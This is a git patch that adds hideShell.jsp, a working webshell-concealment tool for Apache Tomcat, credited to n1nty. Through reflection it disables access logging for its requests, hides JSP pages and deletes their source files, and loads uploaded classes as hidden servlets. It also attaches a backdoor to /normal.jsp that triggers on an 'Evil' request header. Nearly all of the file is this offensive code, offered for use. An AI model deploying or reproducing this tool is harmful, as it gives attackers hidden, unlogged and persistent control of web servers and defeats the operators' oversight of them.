From 8898dbb7a6be1c2cb721cd71a7e5468a2d40fc58 Mon Sep 17 00:00:00 2001 From: tennc <670357+tennc@users.noreply.github.com> Date: Sat, 5 Jun 2021 14:58:13 +0800 Subject: [PATCH] add hideShell.jsp @jweny from : https://github.com/jweny/MemShellDemo/blob/master/MemShellForJava/%E4%BB%BB%E6%84%8Fjsp%E9%9A%90%E8%97%8F/hideShell.jsp --- jsp/hideShell.jsp | 393 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 393 insertions(+) create mode 100644 jsp/hideShell.jsp diff --git a/jsp/hideShell.jsp b/jsp/hideShell.jsp new file mode 100644 index 0000000..23af252 --- /dev/null +++ b/jsp/hideShell.jsp @@ -0,0 +1,393 @@ +<%@page import="java.awt.SystemColor"%> +<%@page import="org.apache.jasper.JspCompilationContext"%> +<%@page import="java.io.*"%> +<%@page import="java.util.*"%> +<%@page import="java.util.zip.*"%> +<%@ page import="javax.servlet.jsp.*"%> +<%@page import="org.apache.jasper.EmbeddedServletOptions"%> +<%@page import="org.apache.jasper.compiler.JspRuntimeContext"%> +<%@page import="org.apache.jasper.servlet.JspServletWrapper" %> +<%@page import="org.apache.catalina.valves.AccessLogValve"%> +<%@page import="org.apache.catalina.AccessLog"%> +<%@page import="org.apache.catalina.core.AccessLogAdapter"%> +<%@page import="org.apache.catalina.core.StandardHost"%> +<%@ page import="org.apache.catalina.core.ApplicationContext"%> +<%@ page import="org.apache.catalina.core.StandardContext"%> +<%@ page language="java" contentType="text/html; charset=UTF-8" + pageEncoding="UTF-8"%> +<%@ page import="java.lang.reflect.*" %><%! +private static class AttachingWrapper extends JspServletWrapper { + private JspServletWrapper original = null; + private JspServletWrapper evil = null; + + public AttachingWrapper(JspServletWrapper original, JspServletWrapper evil, ServletConfig config, org.apache.jasper.Options options, + String jspUri, JspRuntimeContext rctxt) { + super(config, options, jspUri, rctxt); + this.original = original; + this.evil = evil; + } + public void service(HttpServletRequest request, + HttpServletResponse response, + boolean precompile) + throws ServletException, IOException, FileNotFoundException { + if (request.getHeader("Evil") != null) { + try { + nolog(request); + } catch (Exception ex){} + this.evil.service(request, response, precompile); + } else { + this.original.service(request, response, precompile); + } + } +} +private static class SpyClassLoader extends ClassLoader{ + private byte[] zipdata = null; + private JspWriter out = null; + private Map cls = new HashMap(); + public SpyClassLoader(ClassLoader parent, byte[] zipdata, JspWriter out) throws Exception { + super(parent); + this.out = out; + this.zipdata = zipdata; + this.processZip(); + } + private void processZip() throws Exception { + if (this.zipdata != null) { + ZipInputStream stream = null; + stream = new ZipInputStream(new ByteArrayInputStream(this.zipdata)); + byte[] buffer = new byte[2048]; + ZipEntry entry; + while((entry = stream.getNextEntry())!=null) + { + + ByteArrayOutputStream output = null; + try + { + output = new ByteArrayOutputStream(); + int len = 0; + while ((len = stream.read(buffer)) > 0) + { + output.write(buffer, 0, len); + } + } + finally + { + if(output!=null) output.close(); + //this.out.println(entry.getName()); + this.cls.put("org.apache.jsp."+entry.getName(), output.toByteArray()); + } + } + stream.close(); + } + } + protected Class findClass(String name) + throws ClassNotFoundException { + byte[] clsdata = this.cls.get(name+".class"); + if (clsdata != null) { + return super.defineClass(name, clsdata, 0, clsdata.length); + } + return null; + } + public Class defineClass(String name,byte[] b) { + return super.defineClass(name,b,0,b.length); + } +} +private static class UploadBean { + private ServletInputStream sis = null; + private OutputStream targetOutput = null; + private byte[] b = new byte[1024]; + private String fileName = null; + public String getFileName() { + return this.fileName; + } + public void setTargetOutput(OutputStream stream) { + this.targetOutput = stream; + } + public UploadBean(OutputStream stream) { + this.setTargetOutput(stream); + } + + public void parseRequest(HttpServletRequest request) throws IOException { + sis = request.getInputStream(); + int a = 0; + int k = 0; + String s = ""; + while ((a = sis.readLine(b,0,b.length))!= -1) { + s = new String(b, 0, a,"UTF-8"); + if ((k = s.indexOf("filename=\""))!= -1) { + s = s.substring(k + 10); + k = s.indexOf("\""); + s = s.substring(0, k); + File tF = new File(s); + if (tF.isAbsolute()) { + fileName = tF.getName(); + } else { + fileName = s; + } + k = s.lastIndexOf("."); + // suffix = s.substring(k + 1); + upload(); + } + } + } + private void upload() throws IOException{ + try { + OutputStream out = this.targetOutput; + + int a = 0; + int k = 0; + String s = ""; + while ((a = sis.readLine(b,0,b.length))!=-1) { + s = new String(b, 0, a); + if ((k = s.indexOf("Content-Type:"))!=-1) { + break; + } + } + sis.readLine(b,0,b.length); + while ((a = sis.readLine(b,0,b.length)) != -1) { + s = new String(b, 0, a); + if ((b[0] == 45) && (b[1] == 45) && (b[2] == 45) && (b[3] == 45) && (b[4] == 45)) { + break; + } + out.write(b, 0, a); + } + out.close(); + //if (out instanceof FileOutputStream) + //out.close(); + } catch (IOException ioe) { + throw ioe; + } + } + } +private static final Map hiddenWrappers = new HashMap(); +public static String makeWrapperUri(HttpServletRequest request) { + String uri = request.getServletPath(); + String pathinfo = request.getPathInfo(); + if (pathinfo != null) { + uri += pathinfo; + } + return uri; +} +public static boolean accessingSelf(HttpServletRequest request, JspRuntimeContext jctxt) { + JspServletWrapper wrapper = getHideShellWrapper(request, jctxt); + String requestUri = makeWrapperUri(request); + if (!wrapper.getJspUri().equals(requestUri)) { + return false; + } + return true; +} +public static void includeHiddenShell(HttpServletRequest request, HttpServletResponse response) throws Exception { + JspServletWrapper wrapper = hiddenWrappers.get(makeWrapperUri(request)); + if (wrapper != null) { + wrapper.service(request, response, false); + } else { + response.sendError(404, "the hidden JspServletWrapper doesn't exist, this should not happen"); + } +} +public static JspServletWrapper getHideShellWrapper(HttpServletRequest request, JspRuntimeContext jctxt) { + String wrapperUri = makeWrapperUri(request); + JspServletWrapper self = jctxt.getWrapper(wrapperUri); + return self; +} +public static void hideWrapper(JspServletWrapper wrapper) throws Exception { + wrapper.setLastModificationTest(System.currentTimeMillis() + 31536000 * 1000); + JspCompilationContext ctxt = wrapper.getJspEngineContext(); + EmbeddedServletOptions jspServletOptions = (EmbeddedServletOptions)ctxt.getOptions(); + if ((Integer)getFieldValue(jspServletOptions, "modificationTestInterval") <= 0) { + setFieldValue(jspServletOptions, "modificationTestInterval", 1); + } +} +public static Object invoke(Object obj, String methodName, Class[] paramTypes, Object[] args) throws Exception { + Method m = obj.getClass().getDeclaredMethod(methodName, paramTypes); + m.setAccessible(true); + return m.invoke(obj, args); +} +public static Object getFieldValue(Object obj, String fieldName) throws Exception { + Field f = obj.getClass().getDeclaredField(fieldName); + f.setAccessible(true); + return f.get(obj); +} +public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { + Field f = obj.getClass().getDeclaredField(fieldName); + f.setAccessible(true); + if (Modifier.isFinal(f.getModifiers())) { + //reset final field + Field modifiersField = Field.class.getDeclaredField("modifiers"); + modifiersField.setAccessible(true); + modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL); + } + f.set(obj, value); +} +public static String makeHiddenName(String wrapperName) { + int lastIndex = wrapperName.lastIndexOf('/'); + return wrapperName.substring(0, lastIndex + 1) + "hidden-" + wrapperName.substring(lastIndex + 1); +} +public static boolean isHiddenJsp(ServletRequest request, String key, JspServletWrapper wrapper) { + JspCompilationContext ctxt = wrapper.getJspEngineContext(); + if (!new File(request.getServletContext().getRealPath(ctxt.getJspFile())).exists() || !key.equals(wrapper.getJspUri())) { + return true; + } + return false; +} +public static void nolog(HttpServletRequest request) throws Exception { + ServletContext ctx = request.getSession().getServletContext(); + ApplicationContext appCtx = (ApplicationContext)getFieldValue(ctx, "context"); + StandardContext standardCtx = (StandardContext)getFieldValue(appCtx, "context"); + + StandardHost host = (StandardHost)standardCtx.getParent(); + AccessLogAdapter accessLog = (AccessLogAdapter)host.getAccessLog(); + + AccessLog[] logs = (AccessLog[])getFieldValue(accessLog, "logs"); + for(AccessLog log:logs) { + AccessLogValve logV = (AccessLogValve)log; + String condition = logV.getCondition() == null ? "n1nty_nolog" : logV.getCondition(); + logV.setCondition(condition); + request.setAttribute(condition, "n1nty_nolog"); + } +} +%><% +nolog(request); +Object r = getFieldValue(request, "request"); +Object filterChain = getFieldValue(r, "filterChain"); +Object servlet = getFieldValue(filterChain, "servlet"); +JspRuntimeContext jctxt = (JspRuntimeContext)getFieldValue(servlet, "rctxt"); +if (!accessingSelf(request, jctxt)) { + includeHiddenShell(request, response); + return; +} +%> + + + + +Hideshell.jsp by n1nty + + + +
    +<% +String action = request.getParameter("action"); +if ("upload".equals(action)) { + ByteArrayOutputStream byteout = new ByteArrayOutputStream(); + UploadBean upload = new UploadBean(byteout); + upload.parseRequest(request); + boolean zip = upload.getFileName().endsWith(".zip"); + String path = !zip ? "/test.jsp" : "/jspspy2010.jsp"; + String clsName = !zip ? "org.apache.jsp.test_jsp" : "org.apache.jsp.jspspy2010_jsp"; + javax.servlet.ServletConfig servletConfig = (javax.servlet.ServletConfig)getFieldValue(servlet, "config"); + org.apache.jasper.Options options = (org.apache.jasper.Options)getFieldValue(servlet, "options"); + JspServletWrapper wrapper = new JspServletWrapper(servletConfig, options, path, jctxt); + hideWrapper(wrapper); + wrapper.setReload(false); + byte[] data = byteout.toByteArray(); + byte[] bytes = new byte[data.length -2]; + System.arraycopy(data, 0, bytes, 0, data.length -2); + Class cls = null; + if (zip) { + cls = new SpyClassLoader(this.getClass().getClassLoader(), bytes, out).loadClass(clsName); + } else { + cls = new SpyClassLoader(this.getClass().getClassLoader(), null, out).defineClass(clsName, bytes); + } + if (cls != null) { + Servlet s = (Servlet)cls.newInstance(); + s.init(servletConfig); + setFieldValue(wrapper, "theServlet", s); + jctxt.addWrapper(path, getHideShellWrapper(request, jctxt)); + hiddenWrappers.put(path, wrapper); + } else { + out.println("no class"); + } + + +} +if (action == null || action.equals("list") || action.equals("upload")) { + Map jsps = (Map)getFieldValue(jctxt, "jsps"); + for (Map.Entry entry : jsps.entrySet()) { + JspServletWrapper wrapper = entry.getValue(); + %> +
  • + <% + if (isHiddenJsp(request, entry.getKey(), wrapper)) { + %> + <%=entry.getKey() %> possible hidden file, Delete + Attach to normal.jsp + <% + } else { + %> + Hide <%=entry.getKey() %> + Attach to normal.jsp + <% + } + %> +
  • + <% + } +} else if (action.equals("hide")) { + String wrapperName = request.getParameter("wrapperName"); + String hiddenWrapperName = makeHiddenName(wrapperName); + if (jctxt.getWrapper(hiddenWrapperName) == null) { + JspServletWrapper wrapper = jctxt.getWrapper(wrapperName); + + hideWrapper(wrapper); + /* + wrapper.setLastModificationTest(System.currentTimeMillis() + 31536000 * 1000); + JspCompilationContext ctxt = wrapper.getJspEngineContext(); + EmbeddedServletOptions jspServletOptions = (EmbeddedServletOptions)ctxt.getOptions(); + if ((Integer)getFieldValue(jspServletOptions, "modificationTestInterval") <= 0) { + setFieldValue(jspServletOptions, "modificationTestInterval", 1); + }*/ + + wrapper.getJspEngineContext().getCompiler().removeGeneratedFiles(); + + if (wrapper == getHideShellWrapper(request, jctxt)) { + // is hiding hideshell.jsp itself + setFieldValue(wrapper, "jspUri", hiddenWrapperName); + jctxt.addWrapper(hiddenWrapperName, wrapper); + } else { + jctxt.addWrapper(hiddenWrapperName, getHideShellWrapper(request, jctxt)); + hiddenWrappers.put(hiddenWrapperName, wrapper); + } + + jctxt.removeWrapper(wrapperName); + JspCompilationContext ctxt = wrapper.getJspEngineContext(); + new File(request.getServletContext().getRealPath(ctxt.getJspFile())).delete(); + } + out.println("done"); +} else if (action.equals("delete")) { + String wrapperName = request.getParameter("wrapperName"); + jctxt.removeWrapper(wrapperName); + hiddenWrappers.remove(wrapperName); + out.println("done"); + +} else if (action.equals("attach")) { + String wrapperName = request.getParameter("wrapperName"); + String attachto = "/normal.jsp"; + JspServletWrapper original = jctxt.getWrapper(attachto); + if (original == null) { + out.println("access /normal.jsp first"); + return; + } + JspServletWrapper evil = jctxt.getWrapper(wrapperName); + javax.servlet.ServletConfig servletConfig = (javax.servlet.ServletConfig)getFieldValue(servlet, "config"); + org.apache.jasper.Options options = (org.apache.jasper.Options)getFieldValue(servlet, "options"); + AttachingWrapper attachingWrapper = new AttachingWrapper(original, evil, servletConfig, options, attachto, jctxt); + hideWrapper(attachingWrapper); + attachingWrapper.setReload(false); + hideWrapper(evil); + jctxt.removeWrapper(wrapperName); + jctxt.removeWrapper(attachto); + jctxt.addWrapper(attachto, attachingWrapper); + JspCompilationContext ctxt = evil.getJspEngineContext(); + new File(request.getServletContext().getRealPath(ctxt.getJspFile())).delete(); + // jctxt.addWrapper(attachto, getHideShellWrapper(request, jctxt)); + // hiddenWrappers.put(attachto, attachingWrapper); +} +%> +
+ +
+ + +
+ + +